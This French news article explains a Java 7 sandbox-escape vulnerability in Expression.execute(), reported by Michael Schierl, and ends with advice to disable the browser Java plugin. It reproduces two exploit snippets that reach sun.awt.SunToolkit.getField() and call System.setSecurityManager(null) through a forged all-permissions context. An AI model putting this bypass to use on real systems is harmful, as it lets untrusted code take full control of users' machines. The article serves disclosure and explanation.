L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.
L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.
Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.
En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 | private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } |
À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.
Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 | public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain( new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain{localProtectionDomain}); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } |
Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.
Source : le code de l'exploit
Et vous ?
Oracle réagira-t-il assez vite pour éviter une catastrophe virale ?
Quel est le vrai potentiel d'un tel exploit ?
Les IDS et les antivirus seront-ils suffisants ?